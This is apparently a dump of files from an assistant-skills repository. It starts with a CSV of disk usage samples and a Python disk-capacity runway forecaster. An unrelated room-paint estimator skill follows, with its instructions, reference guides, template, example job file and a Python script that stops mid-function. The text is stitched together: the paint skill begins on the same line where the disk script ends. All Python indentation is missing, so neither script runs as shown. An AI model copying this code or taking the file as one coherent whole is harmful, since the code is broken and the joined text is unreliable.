timestamp,volume,used_gb,size_gb
2026-10-01T06:00,db01:/var/lib/postgresql,300.0,500
2026-10-01T06:00,web01:/var/log,21.0,100
2026-10-01T06:00,ci-runner01:/,110.0,200
2026-10-01T06:00,backup-nas:/srv/backups,2100.0,4000
2026-10-02T06:00,db01:/var/lib/postgresql,303.4,500
2026-10-02T06:00,web01:/var/log,24.4,100
2026-10-02T06:00,ci-runner01:/,111.4,200
2026-10-02T06:00,backup-nas:/srv/backups,2105.4,4000
2026-10-03T06:00,db01:/var/lib/postgresql,305.7,500
2026-10-03T06:00,web01:/var/log,26.7,100
2026-10-03T06:00,ci-runner01:/,111.7,200
2026-10-03T06:00,backup-nas:/srv/backups,2109.7,4000
2026-10-04T06:00,db01:/var/lib/postgresql,309.2,500
2026-10-04T06:00,web01:/var/log,30.2,100
2026-10-04T06:00,ci-runner01:/,113.2,200
2026-10-04T06:00,backup-nas:/srv/backups,2115.2,4000
2026-10-05T06:00,db01:/var/lib/postgresql,311.9,500
2026-10-05T06:00,web01:/var/log,32.9,100
2026-10-05T06:00,ci-runner01:/,113.9,200
2026-10-05T06:00,backup-nas:/srv/backups,2119.9,4000
2026-10-06T06:00,db01:/var/lib/postgresql,315.5,500
2026-10-06T06:00,web01:/var/log,22.5,100
2026-10-06T06:00,ci-runner01:/,115.5,200
2026-10-06T06:00,backup-nas:/srv/backups,2125.5,4000
2026-10-07T06:00,db01:/var/lib/postgresql,317.6,500
2026-10-07T06:00,web01:/var/log,24.6,100
2026-10-07T06:00,ci-runner01:/,115.6,200
2026-10-07T06:00,backup-nas:/srv/backups,2129.6,4000
2026-10-08T06:00,db01:/var/lib/postgresql,321.1,500
2026-10-08T06:00,web01:/var/log,28.1,100
2026-10-08T06:00,ci-runner01:/,117.1,200
2026-10-08T06:00,backup-nas:/srv/backups,2135.1,4000
2026-10-09T06:00,db01:/var/lib/postgresql,324.3,500
2026-10-09T06:00,web01:/var/log,31.3,100
2026-10-09T06:00,ci-runner01:/,118.3,200
2026-10-09T06:00,backup-nas:/srv/backups,2140.3,4000
2026-10-10T06:00,db01:/var/lib/postgresql,326.8,500
2026-10-10T06:00,web01:/var/log,33.8,100
2026-10-10T06:00,ci-runner01:/,118.8,200
2026-10-10T06:00,backup-nas:/srv/backups,2144.8,4000
2026-10-11T06:00,db01:/var/lib/postgresql,330.0,500
2026-10-11T06:00,web01:/var/log,23.0,100
2026-10-11T06:00,ci-runner01:/,120.0,200
2026-10-11T06:00,backup-nas:/srv/backups,2150.0,4000
2026-10-12T06:00,db01:/var/lib/postgresql,333.4,500
2026-10-12T06:00,web01:/var/log,26.4,100
2026-10-12T06:00,ci-runner01:/,121.4,200
2026-10-12T06:00,backup-nas:/srv/backups,2155.4,4000
2026-10-13T06:00,db01:/var/lib/postgresql,335.7,500
2026-10-13T06:00,web01:/var/log,28.7,100
2026-10-13T06:00,ci-runner01:/,121.7,200
2026-10-13T06:00,backup-nas:/srv/backups,2159.7,4000
2026-10-14T06:00,db01:/var/lib/postgresql,339.2,500
2026-10-14T06:00,web01:/var/log,32.2,100
2026-10-14T06:00,ci-runner01:/,123.2,200
2026-10-14T06:00,backup-nas:/srv/backups,2165.2,4000
2026-10-15T06:00,db01:/var/lib/postgresql,341.9,500
2026-10-15T06:00,web01:/var/log,34.9,100
2026-10-15T06:00,ci-runner01:/,123.9,200
2026-10-15T06:00,backup-nas:/srv/backups,2169.9,4000
2026-10-16T06:00,db01:/var/lib/postgresql,345.5,500
2026-10-16T06:00,web01:/var/log,24.5,100
2026-10-16T06:00,ci-runner01:/,130.5,200
2026-10-16T06:00,backup-nas:/srv/backups,2575.5,4000
2026-10-17T06:00,db01:/var/lib/postgresql,347.6,500
2026-10-17T06:00,web01:/var/log,26.6,100
2026-10-17T06:00,ci-runner01:/,135.6,200
2026-10-17T06:00,backup-nas:/srv/backups,2579.6,4000
2026-10-18T06:00,db01:/var/lib/postgresql,351.1,500
2026-10-18T06:00,web01:/var/log,30.1,100
2026-10-18T06:00,ci-runner01:/,142.1,200
2026-10-18T06:00,backup-nas:/srv/backups,2585.1,4000
2026-10-19T06:00,db01:/var/lib/postgresql,354.3,500
2026-10-19T06:00,web01:/var/log,33.3,100
2026-10-19T06:00,ci-runner01:/,148.3,200
2026-10-19T06:00,backup-nas:/srv/backups,2590.3,4000
2026-10-20T06:00,db01:/var/lib/postgresql,356.8,500
2026-10-20T06:00,web01:/var/log,35.8,100
2026-10-20T06:00,ci-runner01:/,153.8,200
2026-10-20T06:00,backup-nas:/srv/backups,2594.8,4000
2026-10-21T06:00,db01:/var/lib/postgresql,360.1,500
2026-10-21T06:00,web01:/var/log,25.1,100
2026-10-21T06:00,ci-runner01:/,160.1,200
2026-10-21T06:00,backup-nas:/srv/backups,2600.1,4000
FILE:scripts/disk_runway.py
#!/usr/bin/env python3
"""Disk capacity runway forecaster (Python 3 standard library only).
Input: CSV with a header row and columns
timestamp,volume,used_gb,size_gb
timestamp is ISO 8601 ("2026-10-01T00:00", "2026-10-01 06:00" or a date); one row per sample,
any order, several volumes in one file. size_gb may change (a resize); the latest value is used.
Model per volume:
- growth rate = least-squares slope of used_gb over time (GB/day), plus R^2 for fit quality;
one-off steps larger than 5% of the size are kept in current usage but removed from the trend
- recent rate = slope over the last 7 days of samples (or the last third if shorter)
- runway to 80/90/95/100% full = (threshold x size - used now) / max(rate, recent rate),
counted from the LAST sample (not from today), so results are reproducible
- suggested size: smallest whole 10 GB step that keeps the volume under 80% for
--horizon days (default 90) at the worse of the two rates
Status / findings (severity):
CRITICAL FULL_SOON 100% within 7 days, or already >= 95% used
HIGH RUNWAY_SHORT 90% within 14 days
MEDIUM RUNWAY_WATCH 80% within 30 days
MEDIUM ACCELERATING recent rate > 1.5x the overall rate (and > 0.1 GB/day)
MEDIUM SUDDEN_JUMP one step grew by more than 5% of the volume size
LOW NOISY_TREND R^2 < 0.5: usage swings (log rotation, temp files); trust less
LOW SHRINKING usage is falling; no runway
LOW FEW_SAMPLES fewer than 4 samples or under 2 days of data
Usage:
python3 disk_runway.py usage.csv
python3 disk_runway.py usage.csv --horizon 180 --json
python3 disk_runway.py --self-test
Exit code: 0 no CRITICAL/HIGH, 1 CRITICAL or HIGH findings, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import io
import json
import math
import sys
THRESHOLDS = (0.8, 0.9, 0.95, 1.0)
class DataError(ValueError):
pass
def parse_time(s):
s = s.strip().replace("Z", "+00:00")
try:
t = dt.datetime.fromisoformat(s)
except ValueError:
raise DataError(f"bad timestamp {s!r}")
return t.replace(tzinfo=None) if t.tzinfo is None else t.astimezone(dt.timezone.utc).replace(tzinfo=None)
def read_rows(text):
rd = csv.DictReader(io.StringIO(text))
need = {"timestamp", "volume", "used_gb", "size_gb"}
if not rd.fieldnames or not need <= {f.strip() for f in rd.fieldnames}:
raise DataError(f"CSV header must contain {', '.join(sorted(need))}")
vols = {}
for n, row in enumerate(rd, start=2):
row = {k.strip(): (v or "").strip() for k, v in row.items() if k}
if not any(row.values()):
continue
try:
used, size = float(row["used_gb"]), float(row["size_gb"])
except ValueError:
raise DataError(f"line {n}: used_gb and size_gb must be numbers")
if size <= 0 or used < 0:
raise DataError(f"line {n}: size_gb must be > 0 and used_gb >= 0")
vols.setdefault(row["volume"] or "(unnamed)", []).append((parse_time(row["timestamp"]), used, size))
if not vols:
raise DataError("no data rows")
return {k: sorted(v) for k, v in vols.items()}
def slope(points):
"""points: [(days, value)] -> (slope per day, r2)"""
n = len(points)
if n < 2:
return 0.0, 0.0
mx = sum(p[0] for p in points) / n
my = sum(p[1] for p in points) / n
sxx = sum((p[0] - mx) ** 2 for p in points)
if sxx == 0:
return 0.0, 0.0
sxy = sum((p[0] - mx) * (p[1] - my) for p in points)
b = sxy / sxx
syy = sum((p[1] - my) ** 2 for p in points)
r2 = 1.0 if syy == 0 else (sxy * sxy) / (sxx * syy)
return b, r2
def analyze(samples, horizon=90):
t0 = samples[0][0]
last_t, used, size = samples[-1]
# one-off steps (> 5% of size in one sample) are removed from the trend, not extrapolated
steps = [samples[i][1] - samples[i - 1][1] for i in range(1, len(samples))]
normal = sorted(x for x in steps if x <= 0.05 * size)
typical = normal[len(normal) // 2] if normal else 0.0
shift, pts = 0.0, []
for i, (t, u, _) in enumerate(samples):
if i and steps[i - 1] > 0.05 * size:
shift += steps[i - 1] - typical
pts.append(((t - t0).total_seconds() / 86400, u - shift))
span = pts[-1][0]
rate, r2 = slope(pts)
cut = pts[-1][0] - 7 if span >= 14 else pts[-1][0] - span / 3
recent_pts = [p for p in pts if p[0] >= cut]
recent, _ = slope(recent_pts) if len(recent_pts) >= 2 else (rate, 0)
worst = max(rate, recent)
pct = used / size
runway = {}
for th in THRESHOLDS:
left = th * size - used
if left <= 0:
runway[th] = (0.0, last_t)
elif worst > 1e-9:
d = left / worst
runway[th] = (d, last_t + dt.timedelta(days=d))
else:
runway[th] = (None, None)
need = used + max(worst, 0) * horizon
suggest = max(size, math.ceil(need / 0.8 / 10) * 10)
findings = []
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
d100, d90, d80 = runway[1.0][0], runway[0.9][0], runway[0.8][0]
if pct >= 0.95 or (d100 is not None and d100 <= 7):
f("CRITICAL", "FULL_SOON", f"{pct:.0%} used; full in {fmt_days(d100)}")
elif d90 is not None and d90 <= 14:
f("HIGH", "RUNWAY_SHORT", f"90% in {fmt_days(d90)}")
elif d80 is not None and d80 <= 30:
f("MEDIUM", "RUNWAY_WATCH", f"80% in {fmt_days(d80)}")
if rate > 0 and recent > 1.5 * rate and recent > 0.1:
f("MEDIUM", "ACCELERATING", f"last-week rate {recent:.2f} GB/day vs overall {rate:.2f} GB/day")
jumps = [(samples[i][0], samples[i][1] - samples[i - 1][1]) for i in range(1, len(samples))]
big = [j for j in jumps if j[1] > 0.05 * size]
if big:
t, g = max(big, key=lambda j: j[1])
f("MEDIUM", "SUDDEN_JUMP", f"+{g:.1f} GB in one step at {t:%Y-%m-%d %H:%M} (backup, dump, log burst?)")
if len(pts) >= 4 and r2 < 0.5 and worst > 0:
f("LOW", "NOISY_TREND", f"R^2 {r2:.2f}; usage swings, so treat the runway as rough")
if worst < 0:
f("LOW", "SHRINKING", f"usage falling {rate:.2f} GB/day")
if len(pts) < 4 or span < 2:
f("LOW", "FEW_SAMPLES", f"{len(pts)} samples over {span:.1f} days; collect more data")
rank = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
findings.sort(key=lambda x: rank[x["severity"]])
return {"last_sample": last_t.strftime("%Y-%m-%d %H:%M"), "used_gb": round(used, 2), "size_gb": size,
"used_pct": round(pct * 100, 1), "rate_gb_day": round(rate, 3), "recent_rate_gb_day": round(recent, 3),
"r2": round(r2, 3), "samples": len(pts), "span_days": round(span, 2),
"runway": {f"{int(th * 100)}%": {"days": None if d is None else round(d, 1),
"date": None if t is None else t.strftime("%Y-%m-%d")}
for th, (d, t) in runway.items()},
"suggested_size_gb": suggest, "horizon_days": horizon, "findings": findings,
"status": findings[0]["severity"] if findings and findings[0]["severity"] in ("CRITICAL", "HIGH", "MEDIUM") else "OK"}
def fmt_days(d):
if d is None:
return "never at current rate"
if d <= 0:
return "already"
if d < 1:
return f"{d * 24:.0f} h"
return f"{d:.1f} days"
def report(res, horizon):
out = ["# Disk runway report", "", f"Runway uses the worse of the overall and last-week growth rate; suggested size keeps usage under 80% for {horizon} days.", "",
"| Volume | Status | Used | Size | Growth GB/day (overall / recent) | 80% | 90% | 100% | Suggested size |",
"|---|---|---|---|---|---|---|---|---|"]
order = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "OK": 3}
for name, r in sorted(res.items(), key=lambda kv: (order[kv[1]["status"]], kv[0])):
def cell(k):
x = r["runway"][k]
if x["days"] is None:
return "never"
return "now" if x["days"] == 0 else f"{x['days']} d ({x['date']})"
out.append(f"| {name} | {r['status']} | {r['used_gb']:g} GB ({r['used_pct']}%) | {r['size_gb']:g} GB | "
f"{r['rate_gb_day']} / {r['recent_rate_gb_day']} | {cell('80%')} | {cell('90%')} | {cell('100%')} | "
f"{r['suggested_size_gb']:g} GB |")
out += ["", "## Findings"]
any_f = False
for name, r in sorted(res.items(), key=lambda kv: (order[kv[1]["status"]], kv[0])):
for x in r["findings"]:
any_f = True
out.append(f"- **{x['severity']} {x['code']}** ({name}): {x['message']}")
if not any_f:
out.append("- none")
out += ["", "Last samples: " + ", ".join(f"{n} {r['last_sample']} ({r['samples']} samples, {r['span_days']} days, R^2 {r['r2']})" for n, r in sorted(res.items()))]
return "\n".join(out) + "\n"
def run(text, horizon=90):
if horizon <= 0:
raise DataError("horizon must be > 0")
return {name: analyze(s, horizon) for name, s in read_rows(text).items()}
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
b, r2 = slope([(0, 10), (1, 12), (2, 14)])
ok("slope 2/day exact fit", abs(b - 2) < 1e-9 and abs(r2 - 1) < 1e-9)
ok("flat slope 0", slope([(0, 5), (1, 5), (2, 5)])[0] == 0)
hdr = "timestamp,volume,used_gb,size_gb\n"
lin = hdr + "".join(f"2026-10-{d:02d},v,{100 + 2 * d},500\n" for d in range(1, 15))
r = run(lin)["v"]
ok("rate 2 GB/day", abs(r["rate_gb_day"] - 2) < 1e-6)
ok("80% runway (400-128)/2 = 136 d", r["runway"]["80%"]["days"] == 136.0)
ok("runway date from last sample", r["runway"]["100%"]["date"] == "2027-04-18")
ok("healthy volume status OK", r["status"] == "OK" and r["findings"] == [])
ok("suggested size keeps 500", r["suggested_size_gb"] == 500)
r = run(lin, horizon=180)["v"]
ok("180 d horizon suggests 610", r["suggested_size_gb"] == 610)
full = hdr + "".join(f"2026-10-{d:02d},v,{80 + 3 * d},100\n" for d in range(1, 6))
r = run(full)["v"]
ok("95% used is CRITICAL", r["status"] == "CRITICAL" and r["findings"][0]["code"] == "FULL_SOON")
ok("past threshold runway is 0", r["runway"]["90%"]["days"] == 0)
short = hdr + "".join(f"2026-10-{d:02d},v,{50 + 3 * d},100\n" for d in range(1, 8))
r = run(short)["v"]
ok("90% in ~6 days is HIGH", r["status"] == "HIGH")
watch = hdr + "".join(f"2026-10-{d:02d},v,{40 + d},100\n" for d in range(1, 8))
ok("80% in 33 d is OK, 80% in 26 d is MEDIUM", run(watch)["v"]["status"] == "OK" and
run(hdr + "".join(f"2026-10-{d:02d},v,{47 + d},100\n" for d in range(1, 8)))["v"]["status"] == "MEDIUM")
acc = hdr + "".join(f"2026-10-{d:02d},v,{100 + (d if d <= 14 else 14 + 5 * (d - 14))},1000\n" for d in range(1, 22))
r = run(acc)["v"]
ok("accelerating flagged", any(x["code"] == "ACCELERATING" for x in r["findings"]))
ok("recent rate used for runway", r["recent_rate_gb_day"] > r["rate_gb_day"])
jump = hdr + "2026-10-01,v,100,500\n2026-10-02,v,101,500\n2026-10-03,v,140,500\n2026-10-04,v,141,500\n"
r = run(jump)["v"]
ok("sudden jump flagged", any(x["code"] == "SUDDEN_JUMP" for x in r["findings"]))
ok("jump removed from trend (1 GB/day)", abs(r["rate_gb_day"] - 1) < 1e-6 and r["used_gb"] == 141)
noisy = hdr + "".join(f"2026-10-{d:02d},v,{100 + (8 if d % 2 else 0) + 0.3 * d:.1f},500\n" for d in range(1, 21))
ok("noisy trend flagged", any(x["code"] == "NOISY_TREND" for x in run(noisy)["v"]["findings"]))
shr = hdr + "".join(f"2026-10-{d:02d},v,{200 - 3 * d},500\n" for d in range(1, 8))
r = run(shr)["v"]
ok("shrinking flagged and runway never", any(x["code"] == "SHRINKING" for x in r["findings"]) and r["runway"]["100%"]["days"] is None)
few = hdr + "2026-10-01T00:00,v,10,100\n2026-10-01T12:00,v,11,100\n"
ok("few samples flagged", any(x["code"] == "FEW_SAMPLES" for x in run(few)["v"]["findings"]))
multi = hdr + "2026-10-02,b,5,100\n2026-10-01,a,1,100\n2026-10-01,b,4,100\n2026-10-02,a,1,100\n"
r = run(multi)
ok("multiple volumes, unsorted rows", set(r) == {"a", "b"} and r["b"]["rate_gb_day"] == 1)
ok("resize uses latest size", run(hdr + "2026-10-01,v,50,100\n2026-10-02,v,52,200\n")["v"]["size_gb"] == 200)
ok("fmt_days hours", fmt_days(0.5) == "12 h")
for bad, label in (("a,b\n1,2\n", "missing columns"), (hdr, "no rows"), (hdr + "x,v,1,10\n", "bad timestamp"),
(hdr + "2026-10-01,v,abc,10\n", "bad number"), (hdr + "2026-10-01,v,1,0\n", "zero size")):
try:
run(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Forecast when disks fill up from usage samples.")
ap.add_argument("file", nargs="?", help="CSV: timestamp,volume,used_gb,size_gb")
ap.add_argument("--horizon", type=int, default=90, help="days of runway the suggested size must cover (default 90)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a CSV file or --self-test")
try:
res = run(open(a.file, encoding="utf-8").read(), a.horizon)
except (OSError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res, a.horizon), end="\n" if a.json else "")
return 1 if any(r["status"] in ("CRITICAL", "HIGH") for r in res.values()) else 0
if __name__ == "__main__":
sys.exit(main())按墙面（扣门窗）估算油漆用量与费用。
---
name: room-paint-quantity-estimator
description: 按墙面（扣门窗）估算油漆用量与费用。
---
# 房间油漆用量估算器
你是「房间油漆用量估算器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Room Paint Quantity Estimator
You help people repainting a home buy the right amount of paint the first time: not three trips to the shop, not a garage full of half-empty cans. From room sizes and the paints they picked, you calculate areas, litres (or gallons), the cheapest cans to buy and the total cost, and you point out the prep steps that change the numbers, such as primer over dark colours or new plaster.
## Files in this skill
- `scripts/paint_estimate.py` - calculates areas, paint per surface, the cheapest can mix per paint, leftovers, total cost and findings (Python 3 standard library only)
- `references/measuring-and-coverage.md` - how to measure rooms, standard door and window sizes, coverage on the label vs reality, texture factors, coats and primer rules
- `references/painting-prep-and-buying-guide.md` - prep order, primer types, finishes per room, tools list, buying tips, storing leftovers
- `templates/paint-shopping-list.md` - a shopping list and room plan to print or take to the shop
- `examples/two-bedroom-flat-refresh.json` - four rooms in a flat with a dark bedroom going light, new drywall in the kids room and three paints in Turkish lira
## Workflow
### 1. Gather the rooms
Ask for each room: length, width and ceiling height, number and size of doors and windows (or use the standard sizes in `references/measuring-and-coverage.md`), which surfaces to paint (walls, ceiling), the current colour (light, medium, dark), the new colour, wall texture, and whether any surface is new plaster or drywall. Ask for the paints with coverage per coat from the can label and the can sizes and prices at their shop. Use metric unless they work in feet and gallons.
### 2. Run the estimator
```
python3 scripts/paint_estimate.py examples/two-bedroom-flat-refresh.json
python3 scripts/paint_estimate.py job.json --json
python3 scripts/paint_estimate.py --self-test
```
Exit code 1 means HIGH findings (measurements that cannot be right, no can mix), 2 means bad input.
### 3. Adjust the plan
Act on findings: add primer (and its own quantity, using its coverage) for DARK_TO_LIGHT and NEW_SURFACE, or raise coats to 3; change one-coat plans to two unless the paint is sold as one-coat over the same colour. Re-run after each change. Use `references/painting-prep-and-buying-guide.md` for finish and tool advice.
### 4. Deliver
Fill `templates/paint-shopping-list.md` with the cans to buy, primer, tools and the order of work. Remind them to buy all cans of one colour from the same batch, or mix (box) them before use.
## Example result
For `examples/two-bedroom-flat-refresh.json`: walls in warm white need 20.87 L -> 1 x 15 L + 1 x 7.5 L (3,640 TRY); the kids room sage green needs 6.87 L -> 1 x 7.5 L (1,450 TRY); ceilings need 8.75 L -> 3 x 3.5 L (1,380 TRY); total 6,470 TRY before primer and tools. Findings: the dark main bedroom needs primer or a third coat, the new drywall in the kids room needs a mist coat or primer, and its one-coat ceiling will look patchy.
## Rules
- Use the coverage printed on the user's paint, not a generic number, whenever they have it.
- Round up to whole cans; never suggest stretching paint by thinning beyond the maker's instructions.
- Mention safety where it matters: ventilation, ladders on stable ground, lead paint testing in homes built before about 1980 before sanding.
- Prices are what the user gives; say that totals exclude primer, tools and labour unless included.
FILE:references/measuring-and-coverage.md
# Measuring and Coverage
## Measuring a room
- Measure length and width at floor level and ceiling height in one or two places; round up to the next 5 cm (or 2 in).
- Wall area = perimeter x height = 2 x (length + width) x height. For L-shaped rooms, add each wall's width x height instead.
- Ceiling area = length x width (add sloped parts separately).
- Subtract doors and windows; leave in anything smaller than about 0.5 m2 (5 sq ft), the paint goes on the frame and cutting-in anyway.
## Standard sizes (when the user does not know)
| Item | Metric | Imperial |
|---|---|---|
| Interior door | 0.8-0.9 x 2.0-2.05 m (about 1.8 m2) | 30-36 x 80 in (about 20 sq ft) |
| Balcony / patio door | 1.6-1.8 x 2.2 m | 6 x 6.7 ft |
| Window | 1.2-1.5 x 1.2-1.4 m | 3 x 4 ft (about 12-15 sq ft) |
| Ceiling height | 2.5-2.8 m (new flats), up to 3.5 m (old buildings) | 8-9 ft |
## Coverage
- The label gives coverage per coat, usually 10-14 m2/L for emulsion (about 350-400 sq ft per US gallon). Real-world coverage is often 10-20% lower; the waste allowance (default 10%) covers rollers, trays and touch-ups.
- Texture factors used by the estimator: smooth x1.0, light texture (woodchip, orange peel, thin plaster) x1.1, rough (bare brick, stucco, popcorn) x1.25.
- Fresh plaster and bare drywall soak paint like a sponge: seal first with a mist coat (emulsion thinned as the maker allows) or a drywall primer.
## Coats
| Situation | Plan |
|---|---|
| Same or similar colour, good surface | 2 coats (1 if the paint is sold as one-coat and the colour is the same) |
| Light over dark | stain-blocking or tinted primer + 2 coats, or 3 coats |
| Dark or strong colour over light | grey-tinted primer + 2 coats; reds and yellows can need 3 |
| New plaster or drywall | mist coat or primer + 2 coats |
| Ceiling | 2 coats of ceiling white; 1 coat looks patchy against the light |
## Quick check by hand
Litres = area x coats x texture / coverage x 1.1. Example: 35 m2 of walls, 2 coats, 10 m2/L, smooth -> 7 L before waste, 7.7 L with 10% waste.
FILE:references/painting-prep-and-buying-guide.md
# Painting Prep and Buying Guide
## Order of work
1. Clear and cover: furniture to the middle, floors covered, switch plates off (power off when working near sockets).
2. Repair: fill cracks and holes, sand flush, wipe dust; wash greasy kitchen walls with sugar soap.
3. Prime where needed (stains, repairs, dark colours, new plaster).
4. Ceiling first, then walls, then trim and doors last.
5. Cut in edges with a brush, then roll in sections while the edge is still wet to avoid lines.
6. Let each coat dry for the time on the can (often 2-4 hours for emulsion) before the next.
## Primer
| Problem | Primer |
|---|---|
| Water stains, smoke, marker | stain-blocking primer (shellac or oil-based for bad stains) |
| Light over dark | white or tinted universal primer |
| New plaster | mist coat or plaster sealer |
| New drywall | drywall (PVA) primer |
| Glossy old paint | sand lightly, then adhesion primer |
Primer coverage is often 8-12 m2/L; estimate it like a paint with 1 coat.
## Finish by room
| Room | Finish | Why |
|---|---|---|
| Ceilings | flat / matte | hides flaws, no glare |
| Living and bedrooms | matte or eggshell | soft look; washable matte for families |
| Kids rooms, hallways | washable matte or eggshell | scrubbable |
| Kitchens and bathrooms | satin or a kitchen/bathroom paint | moisture and grease resistant |
| Doors and trim | satin or semi-gloss | durable, easy to wipe |
## Tools for a typical flat
Rollers (9 in / 23 cm) with an extension pole, a tray or bucket with a grid, angled brushes (5 cm), masking tape, drop sheets, filler and a knife, sandpaper (120-180 grit), a sturdy step ladder, rags, gloves. One roller sleeve per colour.
## Buying tips
- Price per litre usually drops with bigger cans; the estimator compares the actual shop prices.
- Buy all cans of a colour together (same batch). If you open more than one can, mix them in a bucket (boxing) so the colour matches.
- Keep about 0.5 L of each colour for touch-ups.
- Low-VOC paints reduce smell; keep windows open and take breaks anyway.
## Leftovers
Close lids tightly, store upside down above freezing, label with room and date. Do not pour paint down drains; take dried or liquid paint to the local waste or recycling point.
FILE:templates/paint-shopping-list.md
# Paint Shopping List - <home / project> - <date>
**Units:** <metric / imperial> **Waste allowance:** <10%> **Shop:** <name>
## Rooms
| Room | Surface | Area | Coats | Paint | Notes (primer, repairs) |
|---|---|---|---|---|---|
| | | | | | |
## Paint to buy
| Paint (brand, colour code, finish) | Needed | Cans | Price |
|---|---|---|---|
| | | | |
## Primer and supplies
- [ ] Primer: <type>, <qty>
- [ ] Rollers <n>, sleeves <n>, tray, extension pole
- [ ] Brushes <sizes>, masking tape <rolls>, drop sheets <n>
- [ ] Filler, sandpaper, sugar soap
**Total estimate:** <paint> + <primer and supplies> = <total>
## Work order
1. Prep and repairs: <rooms>
2. Primer: <rooms>
3. Ceilings: <rooms>
4. Walls: <rooms>
5. Trim and doors: <rooms>
FILE:examples/two-bedroom-flat-refresh.json
{
"name": "two-bedroom flat refresh before moving in (example prices)",
"units": "metric",
"currency": "TRY",
"waste": 0.1,
"paints": {
"wall matte warm white": {"coverage": 11, "cans": [{"size": 15, "price": 2350}, {"size": 7.5, "price": 1290}, {"size": 2.5, "price": 520}]},
"sage green (kids room)": {"coverage": 10, "cans": [{"size": 7.5, "price": 1450}, {"size": 2.5, "price": 590}, {"size": 0.75, "price": 240}]},
"ceiling white": {"coverage": 12, "cans": [{"size": 15, "price": 1650}, {"size": 3.5, "price": 460}]}
},
"rooms": [
{"name": "living room", "length": 5.4, "width": 4.2, "height": 2.7,
"openings": [{"type": "door", "w": 0.9, "h": 2.05}, {"type": "balcony door", "w": 1.8, "h": 2.2}, {"type": "window", "w": 1.5, "h": 1.4}],
"walls": {"paint": "wall matte warm white", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 2}},
{"name": "main bedroom", "length": 4.0, "width": 3.5, "height": 2.7, "previous": "dark", "new": "light",
"openings": [{"type": "door", "w": 0.9, "h": 2.05}, {"type": "window", "w": 1.4, "h": 1.4}],
"walls": {"paint": "wall matte warm white", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 2}},
{"name": "kids room", "length": 3.4, "width": 3.0, "height": 2.7, "new_surface": true,
"openings": [{"type": "door", "w": 0.8, "h": 2.05}, {"type": "window", "w": 1.2, "h": 1.4}],
"walls": {"paint": "sage green (kids room)", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 1}},
{"name": "hallway", "length": 4.5, "width": 1.2, "height": 2.7, "texture": "light",
"openings": [{"type": "doors", "w": 0.9, "h": 2.05, "count": 5}],
"walls": {"paint": "wall matte warm white", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 2}}
]
}
FILE:scripts/paint_estimate.py
#!/usr/bin/env python3
"""Room paint quantity and cost estimator (Python 3 standard library only).
Input: a painting job JSON file:
{"units": "metric", "waste": 0.1, "currency": "TRY",
"paints": {"wall white": {"coverage": 11, "cans": [{"size": 10, "price": 1450}, {"size": 2.5, "price": 450}]}},
"rooms": [{"name": "living room", "length": 5.2, "width": 4.1, "height": 2.7,
"openings": [{"type": "door", "w": 0.9, "h": 2.05}, {"type": "window", "w": 1.6, "h": 1.4, "count": 2}],
"walls": {"paint": "wall white", "coats": 2},
"ceiling": {"paint": "ceiling white", "coats": 2},
"texture": "smooth", "previous": "dark", "new": "light", "new_surface": false}]}
units: metric (m, m2, coverage m2 per litre, cans in litres) or imperial (ft, sq ft,
coverage sq ft per US gallon, cans in gallons). coverage = per coat, from the paint can.
Areas: walls = 2 x (length + width) x height - openings; ceiling = length x width.
texture: smooth (x1.0), light (x1.1, e.g. woodchip, orange peel), rough (x1.25, brick, stucco)
multiplies the paint needed. waste (default 0.10) adds rollers, trays, touch-ups.
Volume per surface = area x coats x texture / coverage x (1 + waste); volumes for the same paint
are added up across rooms, then the cheapest can mix that covers it is chosen (fewer litres
left over on ties).
Findings: OPENINGS_TOO_LARGE (HIGH), NO_CAN_MIX (HIGH), DARK_TO_LIGHT and NEW_SURFACE
(MEDIUM: primer or an extra coat), ONE_COAT, COVERAGE_SUSPECT, ODD_HEIGHT, BIG_LEFTOVER (LOW).
Usage:
python3 paint_estimate.py job.json
python3 paint_estimate.py job.json --json
python3 paint_estimate.py --self-test
Exit code: 0 OK, 1 HIGH findings, 2 bad input.
"""
import argparse
import json
import math
import sys
TEXTURE = {"smooth": 1.0, "light": 1.1, "rough": 1.25}
UNITS = {"metric": {"len": "m", "area": "m2", "vol": "L", "cov": (6, 16), "height": (2.2, 4.0)},
"imperial": {"len": "ft", "area": "sq ft", "vol": "gal", "cov": (250, 450), "height": (7.0, 13.0)}}
LIGHTNESS = {"light": 0, "medium": 1, "dark": 2}
class JobError(ValueError):
pass
def num(x, what, minimum=0.0, strict=True):
if isinstance(x, bool) or not isinstance(x, (int, float)) or (x <= minimum if strict else x < minimum):
raise JobError(f"{what} must be a number {'>' if strict else '>='} {minimum:g}")
return float(x)
def best_mix(need, cans):
"""Cheapest combination of cans with total size >= need; ties -> less leftover, fewer cans."""
cans = sorted(cans, key=lambda c: -c["size"])
best = None
def rec(i, vol, cost, picked):
nonlocal best
if vol >= need - 1e-9:
key = (round(cost, 6), round(vol - need, 6), sum(picked))
if best is None or key < best[0]:
best = (key, list(picked), vol, cost)
return
if i == len(cans) or (best is not None and cost > best[0][0] + 1e-9):
return
c = cans[i]
top = math.ceil((need - vol) / c["size"] - 1e-9)
for k in ([top] if i == len(cans) - 1 else range(top, -1, -1)):
picked.append(k)
rec(i + 1, vol + k * c["size"], cost + k * c["price"], picked)
picked.pop()
if need <= 0:
return {"cans": [], "volume": 0.0, "cost": 0.0, "leftover": 0.0}
rec(0, 0.0, 0.0, [])
if best is None:
return None
_, picked, vol, cost = best
return {"cans": [{"size": c["size"], "count": k, "price": c["price"]} for c, k in zip(cans, picked) if k],
